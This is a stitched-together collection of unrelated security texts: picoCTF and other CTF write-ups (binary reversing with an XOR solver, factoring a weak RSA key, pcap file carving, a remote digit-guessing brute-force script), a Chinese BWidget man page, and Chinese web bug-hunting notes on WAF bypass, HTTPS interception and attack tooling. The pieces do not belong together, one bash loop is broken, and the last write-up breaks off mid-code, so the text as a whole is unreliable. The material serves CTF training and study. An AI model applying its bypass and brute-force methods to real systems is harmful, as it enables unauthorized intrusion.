# quackme Reversing, 200 points ## Description: > Can you deal with the Duck Web? Get us the flag from this program. A binary was attached. ## Solution: Let's run the supplied binary: ```console root@kali:/media/sf_CTFs/pico/quackme# ./main You have now entered the Duck Web, and you're in for a honkin' good time. Can you figure out my trick? test That's all folks. ``` Not to much to work with. The next step is launching a disassembler: ```assembly root@kali:/media/sf_CTFs/pico/quackme# r2 main -- Beer in mind. [0x080484e0]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x080484e0]> afl 0x08048400 3 35 sym._init 0x08048440 1 6 sym.imp.getline 0x08048450 1 6 sym.imp.__stack_chk_fail 0x08048460 1 6 sym.imp.malloc 0x08048470 1 6 sym.imp.puts 0x08048480 1 6 sym.imp.exit 0x08048490 1 6 sym.imp.strlen 0x080484a0 1 6 sym.imp.__libc_start_main 0x080484b0 1 6 sym.imp.setvbuf 0x080484c0 1 6 sym.imp.memset 0x080484d0 1 6 fcn.080484d0 0x080484e0 1 33 entry0 0x08048510 1 4 sym.__x86.get_pc_thunk.bx 0x08048520 4 43 sym.deregister_tm_clones 0x08048550 4 53 sym.register_tm_clones 0x08048590 3 30 sym.__do_global_dtors_aux 0x080485b0 4 43 -> 40 entry1.init 0x080485db 6 103 sym.read_input 0x08048642 10 211 sym.do_magic 0x08048715 1 87 sym.main 0x08048770 4 93 sym.__libc_csu_init 0x080487d0 1 2 sym.__libc_csu_fini 0x080487d4 1 20 sym._fini [0x080484e0]> s sym.main [0x08048715]> pdf ;-- main: / (fcn) sym.main 87 | sym.main (int argc, char **argv, char **envp); | ; var int local_4h @ ebp-0x4 | ; arg int arg_4h @ esp+0x4 | ; DATA XREF from entry0 (0x80484f7) | 0x08048715 8d4c2404 lea ecx, [arg_4h] ; 4 | 0x08048719 83e4f0 and esp, 0xfffffff0 | 0x0804871c ff71fc push dword [ecx - 4] | 0x0804871f 55 push ebp | 0x08048720 89e5 mov ebp, esp | 0x08048722 51 push ecx | 0x08048723 83ec04 sub esp, 4 | 0x08048726 a144a00408 mov eax, dword [obj.stdout__GLIBC_2.0] ; [0x804a044:4]=0 | 0x0804872b 6a00 push 0 | 0x0804872d 6a02 push 2 ; 2 | 0x0804872f 6a00 push 0 | 0x08048731 50 push eax | 0x08048732 e879fdffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x08048737 83c410 add esp, 0x10 | 0x0804873a 83ec0c sub esp, 0xc | 0x0804873d 68f0870408 push str.You_have_now_entered_the_Duck_Web__and_you_re_in_for_a_honkin__good_time.__Can_you_figure_out_my_trick ; 0x80487f0 ; "You have now entered the Duck Web, and you're in for a honkin' good time.\nCan you figure out my trick?" | 0x08048742 e829fdffff call sym.imp.puts ; int puts(const char *s) | 0x08048747 83c410 add esp, 0x10 | 0x0804874a e8f3feffff call sym.do_magic | 0x0804874f 83ec0c sub esp, 0xc | 0x08048752 68bb880408 push str.That_s_all_folks. ; 0x80488bb ; "That's all folks." | 0x08048757 e814fdffff call sym.imp.puts ; int puts(const char *s) | 0x0804875c 83c410 add esp, 0x10 | 0x0804875f b800000000 mov eax, 0 | 0x08048764 8b4dfc mov ecx, dword [local_4h] | 0x08048767 c9 leave | 0x08048768 8d61fc lea esp, [ecx - 4] \ 0x0804876b c3 ret [0x08048715]> ``` The magic seems to happen in `sym.do_magic`, let's inspect it: ``` [0x08048715]> s sym.do_magic [0x08048642]> VV ``` The first block of logic: ```assembly .----------------------------------------. | [0x8048642] | | (fcn) sym.do_magic 211 | | sym.do_magic (); | | ; var int local_1dh @ ebp-0x1d | | ; var int local_1ch @ ebp-0x1c | | ; var int local_18h @ ebp-0x18 | | ; var int local_14h @ ebp-0x14 | | ; var int local_10h @ ebp-0x10 | | ; var int local_ch @ ebp-0xc | | ; CALL XREF from sym.main (0x804874a) | | push ebp | | mov ebp, esp | | ; '(' | | sub esp, 0x28 | | call sym.read_input;[ga] | | mov dword [local_14h], eax | | sub esp, 0xc | | push dword [local_14h] | | ; size_t strlen(const char *s) | | call sym.imp.strlen;[gb] | | add esp, 0x10 | | mov dword [local_10h], eax | | mov eax, dword [local_10h] | | add eax, 1 | | sub esp, 0xc | | push eax | | ; void *malloc(size_t size) | | call sym.imp.malloc;[gc] | | add esp, 0x10 | | mov dword [local_ch], eax | | cmp dword [local_ch], 0 | | jne 0x8048696;[gd] | `----------------------------------------' ``` We'll rename local variables as we go by entering command mode with '`:`', e.g.: ``` Press <enter> to return to Visual mode. :> afvn input local_14h :> afvn input_len local_10h :> afvn new_buffer local_ch ``` In this block, we just read the input, calculate it's length and allocate a new buffer. Assuming the allocation was successful, we jump to the [gd] block: ```assembly .-------------------------------------------. | 0x8048696 [gd] | | mov eax, dword [input_len] | | add eax, 1 | | sub esp, 4 | | push eax | | push 0 | | push dword [new_buffer] | | ; void *memset(void *s, int c, size_t n) | | call sym.imp.memset;[gi] | | add esp, 0x10 | | mov dword [local_1ch], 0 | | mov dword [local_18h], 0 | | jmp 0x804870b;[gj] | `-------------------------------------------' ``` Renaming: ``` Press <enter> to return to Visual mode. :> afvn i local_18h :> afvn counter local_1ch :> ``` Here we memset the buffer and initialize some helper variables. What comes next is a loop: ``` | .-------------------------------------------------. | | | .-----------------------------------. | | 0x804870b [gj] | | | mov eax, dword [i] | | | cmp eax, dword [input_len] | | | jl 0x80486bd;[gl] | | `-----------------------------------' | t f | | | | .-----------------------------------------------------------------------------------------' | | | '-----------------------------------------------. | | | | .---------------------------------------------------------------------------------------------------------------------------------------. | | | 0x80486bd [gl] | | | | mov eax, dword [i] | | | | add eax, obj.sekrutBuffer | | | | movzx ecx, byte [eax] | | | | mov edx, dword [i] | | | | mov eax, dword [input] | | | | add eax, edx | | | | movzx eax, byte [eax] | | | | xor eax, ecx | | | | mov byte [local_1dh], al | | | | ; [0x804a038:4]=0x80487f0 str.You_have_now_entered_the_Duck_Web__and_you_re_in_for_a_honkin__good_time.__Can_you_figure_out_my_trick | | | | mov edx, dword obj.greetingMessage | | | | mov eax, dword [i] | | | | add eax, edx | | | | movzx eax, byte [eax] | | | | cmp al, byte [local_1dh] | | | | jne 0x80486ef;[gk] | | | `---------------------------------------------------------------------------------------------------------------------------------------' | | f t | | | | | | | '-----------------------------------------------------------------------------------------------------------------------------. | | '----------------------------------------------. | | | | | | | .--------------------------------. | | | | 0x80486eb [gm] | | | | | add dword [counter], 1 | | | | `--------------------------------' | | | v | | | | | | | '----------------------------------. | | | | .-------------------------------------------' | | | | | | .-----------------------------------. | | | 0x80486ef [gk] | | | | cmp dword [counter], 0x19 | | | | jne 0x8048707;[gn] | | | `-----------------------------------' | | f t | | | | | | | '---------------. | | .-------------------' | | | | | | | .--------------------------------. .--------------------------------. | | | 0x80486f5 [gp] | | 0x8048707 [gn] | | | | sub esp, 0xc | | add dword [i], 1 | | | | ; 0x80488ab | `--------------------------------' | | | ; "You are winner!" | v | | | push str.You_are_winner | | | | | ; int puts(const char *s) | | | | | call sym.imp.puts;[gf] | | | | | add esp, 0x10 | | | | | jmp 0x8048713;[go] | | | | `--------------------------------' | | | v | | | | | | | '------------------------------------.| | | |`-----------------------------------' | .--------------------------------' | | | | .--------------------. | 0x8048713 [go] | | leave | | ret | `--------------------' ``` The loop runs for i=0..input_len (loop maintenance is located in [gj] and [gn]). For each iteration, the main logic is executed in [gl]: ```assembly 0x80486bd [gl] mov eax, dword [i] add eax, obj.sekrutBuffer movzx ecx, byte [eax] ; ecx = sekrutBuffer[i] mov edx, dword [i] mov eax, dword [input] add eax, edx movzx eax, byte [eax] ; eax = input[i] xor eax, ecx ; eax = eax ^ ecx mov byte [local_1dh], al local_1dh = eax ; [0x804a038:4]=0x80487f0 str.You_have_now_entered_the_Duck_Web__and_you_re_in_for_a_honkin__good_time.__Can_you_figure_out_my_trick mov edx, dword obj.greetingMessage mov eax, dword [i] add eax, edx movzx eax, byte [eax] ; eax = obj.greetingMessage[i] cmp al, byte [local_1dh] ; compare obj.greetingMessage[i] and sekrutBuffer[i] ^ input[i] jne 0x80486ef;[gk] ``` If the result is equal, [gm] will increment the counter, and if the counter hits 0x19, [gk] will end the loop with a success message. Therefore, our task is to supply an input such that when XORed with the secret buffer, will result in the first 0x19 characters of the greeting message. Let's inspect the secret buffer: ``` [0x08048858]> pcp 0x19 @ obj.sekrutBuffer import struct buf = struct.pack ("25B", *[ 0x29,0x06,0x16,0x4f,0x2b,0x35,0x30,0x1e,0x51,0x1b,0x5b, 0x14,0x4b,0x08,0x5d,0x2b,0x5c,0x10,0x06,0x06,0x18,0x45, 0x51,0x00,0x5d]) ``` Using this, we can create a python script to reveal the expected input: ```python import struct buf = struct.pack ("25B", *[ 0x29,0x06,0x16,0x4f,0x2b,0x35,0x30,0x1e,0x51,0x1b,0x5b, 0x14,0x4b,0x08,0x5d,0x2b,0x5c,0x10,0x06,0x06,0x18,0x45, 0x51,0x00,0x5d]) greet = "You have now entered the Duck Web" s = "" for i, byte in enumerate(buf): s += chr(byte ^ ord(greet[i])) print (s) ``` The result: ```console root@kali:/media/sf_CTFs/pico/quackme# python3 exploit.py picoCTF{qu4ckm3_9bcb819e} root@kali:/media/sf_CTFs/pico/quackme# python3 exploit.py | ./main You have now entered the Duck Web, and you're in for a honkin' good time. Can you figure out my trick? You are winner! That's all folks. ``` The flag: picoCTF{qu4ckm3_9bcb819e}
sec-knowleage
.TH SpinBox 3tk "tcllib - BWidget" .SH NAME .B SpinBox - SpinBox 组件 .SH 创建 CREATION .B SpinBox pathName ?option value...? .SH 描述 DESCRIPTION SpinBox 组件使用户能在用 values 选项给出的一个列表,或用一个最小值、一个最大值和一个增量定义的一组值中选择一个值。注意 range 选项定义值的一个列表,所以 getvalue 和 setvalue 能操作 values 和 range 二者。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -modifycmd 指定在用户修改 SpinBox 的值的时候调用的 Tcl 命令。 .TP -range 指定描述 SpinBox 的最小值、最大值和增量的三个整数的一个列表。 .TP -values 指定 SpinBox 接受的值。这个选项优先于 range 选项。 .SH 组件命令 .TP pathName bind ?arg...? 在录入组件上设置绑定。 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。 .TP pathName configure ?option? ?value option value ...? 查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。 .TP pathName getvalue 返回 SpinBox 当前文本在值的列表中的索引,如果它不匹配任何值则返回 -1。 .TP pathName setvalue index 把 SpinBox 的文本设置成用在值的列表中的索引指示的值。index 可以被指定为任何下列形式: last 指定值的列表的最后一个元素。 first 指定值的列表的第一个元素。 next 指定值的列表的当前元素(就是 getvalue 返回的那个)的下一个元素。 previous 指定值的列表的当前元素(就是 getvalue 返回的那个)的上一个元素。 @number 指定在值的列表的整数索引。 .SH 绑定 在 SpinBox 的录入组件获得输入聚焦的时候,除了缺省的录入组件绑定之外,它还有下列绑定: * Page up 把 SpinBox 的值设置为最后一个值。 * Page down 把 SpinBox 的值设置为第一个值。 * Arrow up 把 SpinBox 的值设置为下一个值。 * Arrow down 把 SpinBox 的值设置为上一个值。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/05/17 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
## 一、漏洞挖掘心理学 1. 安全的木桶理论 找到最薄弱的那个点; 2. 有一个漏洞的站点,很可能还会有更多的漏洞 开发人员的安全意识问题; 3. 存在于一个站点的漏洞,还可能存在于其他站点 业务的代码复用; 通用型漏洞(wordpress插件漏洞,Discuz 更新不及时); 4. 修复了的漏洞不一定就全部修复完整了 指哪修哪; 绕过修复; 5. 学会找扫描器扫不到/其他白帽子难发现的漏洞 需要深度交互/认证; 存储XSS/CSRF/越权/逻辑漏洞; 6. 挖掘漏洞的过程 通常需要先找到危险函数,然后回溯函数的调用过程,最终看在整个调用的过程中用户是否有可能控制输入; 7. 绕waf的一般思路 1). 预处理利用:即设法绕过 WAF的输入验证,比如 HTTP头( X-Originating-IP 、XForwarded-For 、X-Remote-IP 、 X-Remote-Addr)的处理,就曾多次被用于绕过公司WAF 的SQL 注入防护,或者 HTTP方法头 GET/POST 的篡改、换行符的处理等等方式; 2). 致阻断失配:利用前后端数据处理的差异,使得无法匹配到黑名单里的规则,通常结合一些参数污染、字符编码、注释符等多种方式绕过; 3). 规则集绕过:通过暴力枚举出 WAF的拦截规则,或者逆向 WAF程序获取规则,然后再设法绕过。 8. 权限与绕过思路 ![think](../pictures/vuln0.png) ## 二、常用的浏览器插件(Firefox) 1. Firebug 强大的网站调试工具,同时可以用来简单抓包 2. Tamper data 抓包修改功能 3. Hackbar 手工测试SQL注入/XSS的利器,有编码功能 4. LiveHttpHeader 抓包工具,使用方便,常用于测试CSRF ## 三、常用的WEB安全工具 1. AWVS 全能的Web安全漏洞扫描器,并附带有很多实用的工具 如果电脑本身需要通过代理访问外网,那么也需要设置下 application settings--application updates 设置 proxy server 2. NetSparker 对SQL注入,XSS,LFI等漏洞扫描效果不错的漏洞扫描器 3. BurpSuite 功能全面,个人常用于暴破,抓包,CSRF测试等等 需要设置浏览器代理为8080,才能捕获数据包,抓取https 包需要浏览器访问 http://burp 下载证书并导入。 有时电脑本身需要设置代理才能访问外网,则需要设置 Burp options--connections--upstream proxy servers 手机端 设置 WIFI 的代理为电脑burp 监听的IP和端口,手机端访问 http://burp 点击CA Certificate下载证书到手机上cacert.der 将后缀改成.cer才可以安装,华为手机需要安装为VPN 应用支持才能解析https 3.1. Charles 手机端使用charles 抓包的设置如下: - proxy -> proxy settings http proxy 设置监听的端口,勾选 enable transparent http proxying - help ->ssl proxying ->install charles root certificate on a mobile device or remote browser - 手机wifi 手工设置proxy ip和端口为 charles 监听的ip:port,浏览器访问chls.pro 下载证书进行安装 <br> <br> 4. Layer 子域名/IP段收集,同时可过滤过出存活主机 <br> 5. Fiddler 常用的抓包工具,有XSS自动化扫描插件 打开fiddle,默认会设置浏览器的代理为fiddle 监听的8888端口,而fiddle 自己则从系统代理出口(也可以自己设置一个代理如 http=10.2.2.1:80)出去;需要设置一下才会拦截数据包,否则只是快照一下。 注意:pc 端软件发出的http/https请求也会被捕获,但私有协议(即应用层自定义包体)是抓不到的,可以用wireshark 抓到此类的包。 客户端软件发出的http/https请求有两种情况。一种类似内嵌了一个浏览器来解析html、执行js事件等,比如一个功能点,进来的原始页面(抓包)中可以搜到此功能点的一些关键字,往往就是以内嵌浏览器的方式执行js 来完成此功能,直接把入口页面复制到浏览器访问,然后console 搜索keyword。 另一种是客户端直接请求的服务端cgi,这在进来的原始页面(甚至没有入口)是找不到功能点的关键字的。 <br> 6. Sqlmap.py 数据库注入神器 <br> 7. owasp 漏洞扫描全集 [Vulnerability_Scanning_Tools](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) <br> <br> 8. android 手机无法抓包小程序的问题 在 Android7.0 及以上的系统中,每个应用可以定义自己的可信 CA 证书。 默认情况下:应用只会信任系统预装的 CA 证书,而不会信任用户安装的 CA 证书。 在配置抓包过程中,无论是BurpSuite还是fiddler/Charles安装的证书都属于用户自己安装的证书。 安卓系统抓包(微信小程序): 安卓系统 7.0 以下版本,不管微信任意版本,都会信任系统提供的证书 安卓系统 7.0 以上版本,微信 7.0 以下版本,微信会信任系统提供的证书 安卓系统 7.0 以上版本,微信 7.0 以上版本,微信只信任它自己配置的证书列表 基于上述我们解决的方式如下: 1、将证书安装到系统证书中(需要root,新的手机都比较少能root了) 2、苹果手机(苹果手机不受此影响,有苹果手机了我还用android 测干啥) 3、采用安卓系统低于7.0的模拟器(非常麻烦,很大可能安装不了微信app) 当前微信电脑客户端已经支持打开小程序,那么也可以通过电脑端抓包实现。 比如mac 电脑使用charles 实现抓包: - help -> ssl proxying-> install charles root certificate 安装charles 证书到电脑 - proxy -> 勾选 macOS proxy 默认抓取电脑所有流量 - proxy -> ssl proxy settings -> enable ssl proxying location \*:443 支持https 流量解析(结合前面的证书) 这时候仅能够抓包,但不能拦截等,故将charles 的外部代理设置为Burp,则Burp 里面可以实现拦截包的功能: - proxy -> external proxy settings 勾选 web proxy & secure web proxy,web proxy server 填为 burp 监听的ip:port(如127.0.0.1:8080) ## 四、github安全类repo 收集 ### 子域名爆破 [subDomainsBrute](https://github.com/lijiejie/subDomainsBrute) [Sublist3r](https://github.com/aboul3la/Sublist3r) [subbrute](https://github.com/TheRook/subbrute) [altdns](https://github.com/infosec-au/altdns) [wydomain](https://github.com/ring04h/wydomain) ### 主机指纹,第三方应用发现 [whatweb](https://github.com/urbanadventurer/whatweb) [bannerscan](https://github.com/x0day/bannerscan) [wyportmap](https://github.com/ring04h/wyportmap) [wafw00f](https://github.com/EnableSecurity/wafw00f) ### 目录爆破,文件发现 [dirsearch](https://github.com/maurosoria/dirsearch) [OpenDoor](https://github.com/stanislav-web/OpenDoor) [DirBuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) [filebuster](https://github.com/henshin/filebuster) ### 敏感文件、信息泄漏 [BBScan](https://github.com/lijiejie/BBScan) [GitHack](https://github.com/lijiejie/GitHack) [htpwdScan](https://github.com/lijiejie/htpwdScan) [Sreg](https://github.com/n0tr00t/Sreg) [weakfilescan](https://github.com/ring04h/weakfilescan) [GitPrey](https://github.com/repoog/GitPrey) ### 弱口令扫描 [F-Scrack](https://github.com/ysrc/F-Scrack) [cupp](https://github.com/Mebus/cupp) ### 数据库注入 [sqli-hunter](https://github.com/zt2/sqli-hunter) ### 源代码审计(仅针对开发本身) [BadCode](https://github.com/pwnsdx/BadCode) [cobra](https://github.com/wufeifei/cobra) [phpstan](https://github.com/phpstan/phpstan) [Source_Code_Analysis_Tools](https://www.owasp.org/index.php/Source_Code_Analysis_Tools) ### 源代码审计([针对第三方库依赖](https://techbeacon.com/13-tools-checking-security-risk-open-source-dependencies-0)) [retire.js](http://retirejs.github.io/retire.js/) [OSSIndex](https://github.com/OSSIndex/DevAudit) [DependencyCheck](https://github.com/jeremylong/DependencyCheck) [bundler-audit](https://github.com/rubysec/bundler-audit) [security-checker](https://github.com/sensiolabs/security-checker) [dawnscanner](https://github.com/thesp0nge/dawnscanner) [scancode-toolkit](https://github.com/nexB/scancode-toolkit) ## 五、一些杂项 1. 修复Firefox 的Live HTTP headers 无法 replay 的问题: 在firfox 地址栏输入:about:support,然后进入配置文件夹 找到Live HTTP headers插件的目录,我的在~/.mozilla/firefox/df0j3s9g.default/extensions/{8f8fe09b-0bd3-4470-bc1b-8cad42b8203a}/chrome,可以看到有livehttpheaders.jar这样一个文件,用解压工具打开,进入content 目录,找到 LiveHTTPReplay.js,解压此文件,并修改。大概在32行左右,修改: `document.getElementById("livehttpheaders.replay.headers").value = args[4];` 替换为: `document.getElementById("livehttpheaders.replay.headers").value = args[4] + "If-Modified-Since: *\n";` 修改完成后,继续用解压工具打开刚才的 livehttpheaders.jar,将修改后的LiveHTTPReplay.js 替换 livehttpheaders.jar 里的 LiveHTTPReplay.js,由于文件被修改,导致 jar 签名改变,高级版本的 firefox 会禁止加载 livehttpHeaders,对此可以 在Firefox 配置编辑器 (about:config 页面)中,更改首选项 xpinstall.signatures.required 为 false 即可。完成后重启 Firfox,replay 功能就可以使用了。 2. 爬虫 爬虫最基本的功能就是从一个页面进入,获取到url,再进一步递归访问此页面的所有url,递归多少次可以称为层数。 url基本存在形式:在本域以标签形式嵌入/拼接、在本域内以事件类被调用、在外域被以事件类调用 手工正向查找(chrome): 进入某页面,inspect 某标签、查看某标签绑定的事件(可以在 console search event keyword) 进入某页面,触发某些按键,观察 Network 一栏发出的请求,注意看 refer 是否是当前页面 进入某页面,打开抓包软件,触发某些按键,观察发出的请求 反向验证查找与正向查找类似,但可以更便捷,进入某页面,直接在 console search url keyword 对于完全没有入口,没有被调用,或者被调用时需要一些前置步骤的情况,爬虫是没办法爬到此url 的。 在f12 出来的左侧第二栏有个 toggle device toolbar 可以模拟客户端访问网页的请求(即修改了user-agent等字段),此时某些网站会跳到为手机客户端访问的网页,如 fun.qq.com/m/ 或者 m.fun.qq.com 等形式。 3. burpsuite 显示界面乱码问题 * 如果是中文乱码的话,解决方法:options->display->font 调成微软雅黑等中文字体就可以。 * linux下中文乱码,没有微软xx字体,下载文泉驿字体,即可解决。 4. js 调试 在浏览器(chrome)产生跳转的情况下,第一次返回的内容可能看不到,这时候借助抓包工具就能看到每次请求的返回情况,当然也可以在请求的瞬间按下ESC 键,停在第一次请求返回的页面上,然后在 source 那里设置下断点,F5 刷新一下,就可以跟踪调试了。preserve log 选中时有可能部分请求返回的数据没有显示出来。 console 左侧有个竖立的省略号,点开有个search 功能很好用,可以查找到 source 里面的关键词,即当前页面引用的所有js 文本都可以搜索到,对于查找ajax、事件类等才会拼接发起请求的 url 有很大帮助,同时观察下Network 一栏发出的请求。 如果想自己本地改js 代码调试,最好 ctrl+s 保存 Html 后浏览器打开文件进行调试。 注意:form action、Location header、js 中window.location.href 等最终请求时浏览器地址栏会变化;而 ajax 请求时地址栏不会变化,ajax 返回的数据一般比较少,往往只是一些状态信息。 5. 客户端app 抓包 1).笔记本电脑和手机连的同个wifi,笔记本开着 burp 监听 8888 端口,手机点击连接的wifi,高级设置中设置代理为笔记本ip:8888,这样手机的网络请求也会先通过 burp。 2).笔记本电脑自己使用猎豹wifi 等软件开启一个wifi,手机连接此wifi,且把代理设置为此wifiip:8888 同理,抓不到私有协议的包,抓取https的包需要手机访问 http://笔记本ip:8888 导入证书,不同设备需要重新导入证书(一般在设置--安全选项),有些手机暂时不支持der 格式,只能识别cer 格式,使用火狐浏览器转,导入并导出下 adb push 到手机目录就可以了。 使用 ios 手机时需要使用 safari 浏览器访问 http://burp , 点击ca 会跳转到安装 描述文件,点击安装证书后,在设置--通用--关于本机--证书信息设置,信任此证书,即可抓到https 流量。 3). 在 android 手机上安装 google chrome 浏览器,开启 usb 调试选项,在 桌面版chrome 输入 chrome://inspect/ 可以看到 列出来的设备如 Che2-UL00 #DU2WKN14BS004912,以及此设备通过谷歌浏览器正在访问的网页,点击 inspect 就可以在电脑上调试手机访问的页面。 tips:下载app 时先不要挂代理,否则可能下不动。 6. 外网代理扫描和端口扫描 网络设备就只有acl控制,没有iptables类似的功能,不能把端口封掉,只能对ip做权限控制。 网络做了acl控制,但是端口依然开放;nmap udp扫描会发个空udp包,如果响应icmp的回包,说明端口开放,所以做好控制,namp依然会扫出来。 影响:网络设备也存在被入侵的风险,黑客可能通过网络设备入侵到内网。 解决方法: 网络设备应当用独立与nmap的高危端口扫描模块,开发单独模块独立扫描。 网络设备主要是udp协议扫描出来的,分为ntp和snmp服务; a) ntp服务可用ntpdata命令执行检测 b) snmp可用snmpwalk命令执行检测 代理扫描:从外网ip 通过代理请求 内网web页面,如果能够获取页面内容说明代理能够访问内网,存在风险
sec-knowleage
# john_pollard Cryptography, 500 points ## Description: > Sometimes RSA certificates are breakable Hints: * The flag is in the format picoCTF{p,q} * Try swapping p and q if it does not work ## Solution: Let's extract the public key from the attached certificate: ```console root@kali:/media/sf_CTFs/pico/john_pollard# openssl x509 -pubkey -noout -in cert.pem > key.pub root@kali:/media/sf_CTFs/pico/john_pollard# openssl rsa -pubin -in key.pub -text RSA Public-Key: (53 bit) Modulus: 4966306421059967 (0x11a4d45212b17f) Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB -----END PUBLIC KEY----- ``` The modulus is really small, we can probably factor it. We can use the [FactorDB API](http://factordb.com/api/index.php?query=4966306421059967): ```json { "id": "4966306421059967", "status": "FF", "factors":[ ["67867967", 1], ["73176001",1] ] } ``` Or YAFU: ```console root@kali:/media/sf_CTFs/pico/john_pollard# yafu "factor(4966306421059967)" fac: factoring 4966306421059967 fac: using pretesting plan: normal fac: no tune info: using qs/gnfs crossover of 95 digits div: primes less than 10000 fmt: 1000000 iterations Total factoring time = 0.0189 seconds ***factors found*** P8 = 73176001 P8 = 67867967 ans = 1 ``` The flag: `picoCTF{73176001,67867967}`.
sec-knowleage
## uagent (Forensics, 100p) We think we are really cool, are we? [Download](ragent.pcap) ###ENG [PL](#pl-version) We start off with a pcap file, a file is begin downladed throughout some packets, let's export them by filtering them out and using File->Export Objects->Http ![screen1](screen1.png) The packets are generally okay, though we need to delete the first byte from every (except first packet), (the content-ranges mesh with each other with 1 byte) and there are some unnecessary packets at the end. We solve the first problem with a quick script in bash: ```bash for file in `ls extractedFiles` done tail -c +2 $file > ../output/$file; done ``` The only thing that's left is merging the files together, we simply do that with `cat * > out` We're left with a password-protected zip that has out flag.png in it. Another interesting thing is that requests for the zip are made with an interesting User-Agent: ![screen2](screen2.png) We extract the packets using the same techinque as in the first step and are left with a file of base64 encoded strings(be careful to ignore retransmissed packets) Finally, by writing our own script (or just using an online tool like [this one](http://www.motobit.com/util/base64-decoder-encoder.asp)) we convert our strings to an image: ![out](out.png) Using it to open the encrypted zip we get: ![flag](flag.png) There you go! Bonus pic, guessing the flag was not a fun part of the challange: ![guessing](guessing.png) ###PL version
sec-knowleage
# The Vault 1 Category: Pwn, 250 Points ## Description > nc challenges.ctfd.io 30440 ## Solution Let's connect to the attached service: ```console root@kali:/media/sf_CTFs/matrix/The_Vault_1# nc challenges.ctfd.io 30440 _____ _ __ __ _ _ _ |_ _|| |__ ___ \ \ / / __ _ _ _ | || |_ / | | | | '_ \ / _ \ \ \ / / / _` || | | || || __| _____ | | | | | | | || __/ \ V / | (_| || |_| || || |_ |_____| | | |_| |_| |_| \___| \_/ \__,_| \__,_||_| \__| |_| ____ ____ ____ ||1 ||||2 ||||3 || ||__||||__||||__|| |/__\||/__\||/__\| ____ ____ ____ ||4 ||||5 ||||6 || ||__||||__||||__|| |/__\||/__\||/__\| ____ ____ ____ ||7 ||||8 ||||9 || ||__||||__||||__|| |/__\||/__\||/__\| ____ ____ ____ ||* ||||0 ||||# || ||__||||__||||__|| |/__\||/__\||/__\| Welcome Agent, we need your help to open a Secure Vault. In order to open the vault you need to submit the correct password. According to our intelligence the password is 624 digits long. Also, we know that the vault has been initialized on 11/02/2021 Good luck !!! ************ Main Menu ************ * * * [ 1 ] ---- Guessing Mode * * [ 2 ] ---- Submit Password * * [-1 ] ---- Quit * * * *********************************** 1 Enter digit number 1 7 Incorrect digit :( bye bye :) ``` We need to guess a 624-digit password for a vault. There's a "Guessing Mode" which seems promising, and an option to submit the password. Let's try guessing: ```console ************ Main Menu ************ * * * [ 1 ] ---- Guessing Mode * * [ 2 ] ---- Submit Password * * [-1 ] ---- Quit * * * *********************************** 1 Enter digit number 1 1 Enter digit number 2 1 Incorrect digit :( bye bye :) ``` Well, if we guess the first digit correctly, we can continue to the next digit. Seems easy enough, let's automate. ```python from pwn import * from enum import Enum import string PASSWORD_LENGTH = 624 class MenuChoice(Enum): GUESSING_MODE = 1 SUBMIT_PASSWORD = 2 QUIT = -1 def select_menu(choice: MenuChoice): r.sendlineafter("***********************************\n\n", str(choice.value)) def guess_digit(guess): r.sendline(guess) return r.recvlineS() password = [] while len(password) < PASSWORD_LENGTH: for d in string.digits: with context.local(log_level='ERROR'): r = remote("challenges.ctfd.io", 30440) select_menu(MenuChoice.GUESSING_MODE) r.recvline() # "Enter digit number 1" # Send known password for previous digits for p in password: out = guess_digit(p) assert(out.startswith("Enter digit number")) # Try to guess current digit out = guess_digit(d) if not out.startswith("Incorrect digit"): password.append(d) log.info(f"Found digit: '{d}', current password: '{''.join(password)}'") break else: break ``` Output: ```console root@kali:/media/sf_CTFs/matrix/The_Vault_1# python3 guess.py [*] Found digit: '1', current password: '1' [*] Found digit: '0', current password: '10' [*] Found digit: '5', current password: '105' [*] Found digit: '8', current password: '1058' [*] Found digit: '4', current password: '10584' [*] Found digit: '6', current password: '105846' [*] Found digit: '3', current password: '1058463' [*] Found digit: '0', current password: '10584630' [*] Found digit: '2', current password: '105846302' [*] Found digit: '5', current password: '1058463025' Traceback (most recent call last): File "guess.py", line 38, in <module> assert(out.startswith("Enter digit number")) AssertionError ``` Looks like this worked well at first but unexpectedly failed. What's the reason? ```console root@kali:/media/sf_CTFs/matrix/The_Vault_1# printf "1\n1\n0\n5\n8\n4\n6\n3\n0\n2\n5\n" | nc challenges.ctfd.io 30440 // ... ************ Main Menu ************ * * * [ 1 ] ---- Guessing Mode * * [ 2 ] ---- Submit Password * * [-1 ] ---- Quit * * * *********************************** Enter digit number 1 Enter digit number 2 Enter digit number 3 Enter digit number 4 Enter digit number 5 Enter digit number 6 Enter digit number 7 Enter digit number 8 Enter digit number 9 Enter digit number 10 You have limited resources on guessing mode bye bye :) ``` Ok, so it obviously won't be so easy. There's a piece of information that we haven't used yet: `Also, we know that the vault has been initialized on 11/02/2021`. What can we do with that? Well, if the vault code password was chosen randomly, and we know that the vault was initialized on a certain date, it might be reasonable to assume that the seed for the random number generator was based on the timestamp at the time of the vault initialization. And, since we also know the first few digits of the password, we can try all possible timestamps for that given date and see which one results in a "random" sequence like the one we already have. If we find the correct seed, all the remaining numbers are predictable as well. The obvious next step here is to write a short `C` program to try and find the seed: ```c #include <stdio.h> #include <stdlib.h> #include <time.h> #include <stdint.h> int genrate_random_number(int param_1, int param_2) { int iVar1; iVar1 = rand(); return param_1 + iVar1 % ((param_2 - param_1) + 1); } int main(int argc, char *argv[]) { uint8_t password_start[] = {1, 0, 5, 8, 4, 6, 3, 0, 2, 5}; uint8_t i = 0; 